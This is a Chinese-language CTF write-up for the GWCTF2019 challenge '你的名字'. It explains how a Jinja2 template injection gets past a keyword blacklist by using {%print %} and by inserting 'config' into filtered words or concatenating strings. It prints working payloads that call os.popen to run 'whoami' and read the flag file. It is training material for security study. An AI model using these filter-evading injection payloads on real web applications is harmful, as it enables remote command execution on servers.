[GWCTF2019]你的名字

3

进去就是一个ssti经典:好多东西被禁了

1
2
3
4
{{}},union,select,/,/**/ 
这是被禁了,会在后面加上!禁了{{}}还以为不是ssti了
然后就没了,虽然知道了也不会做········
它用了{%print %}这种形式,这样就能打印出执行信息了

试了下

1
{%print lipsum %},

4终于有回显了,有回显了就好开始下面的构造了

1
这里还得补充一点,{%print %}形式下,若果你构造的payload是正常的ssti用到的语句却没有回显,就说明你的语句中可能有关键字被过滤了,如{%print ''.class %}执行之后没有任何的回显,但{%print ''.clconfigass %}成功执行有回显,这说明class被过滤了

本体的黑名单源代码:

image-20240922205525074

这过滤代码挺傻的,是先从黑名单中取出一个字符串经过循环过滤再进行下一个字符串的过滤,因为config字符串是在黑名单的最后一个,所以黑名单中前面字符串的过滤都已经结束了,再进行config的过滤,所以我们在过滤字符中加入config就可以绕过

所以最终的payload可以写成如下形式

1
{%print lipsum.__globals__.__builconfigtins__.__impoconfigrt__('oconfigs').poconfigpen('whoami').read()%}

也可以拼接绕过

1
{%print lipsum.__globals__['__bui'+'ltins__']['__im'+'port__']('o'+'s')['po'+'pen']('whoami').read()%}

最后的payload:

1
2
3
4
5
{%set a='__bui'+'ltins__'%}
{%set b='__im'+'port__'%}
{%set c='o'+'s'%}
{%set d='po'+'pen'%}
{%print(lipsum['__globals__'][a][b](c)[d]('cat /flag_1s_Hera')['read']())%}
1
**用{%print %}解决了回显问题,网上的其他大多数文章为了解决无法回显的问题大多是选择外带的形式**

5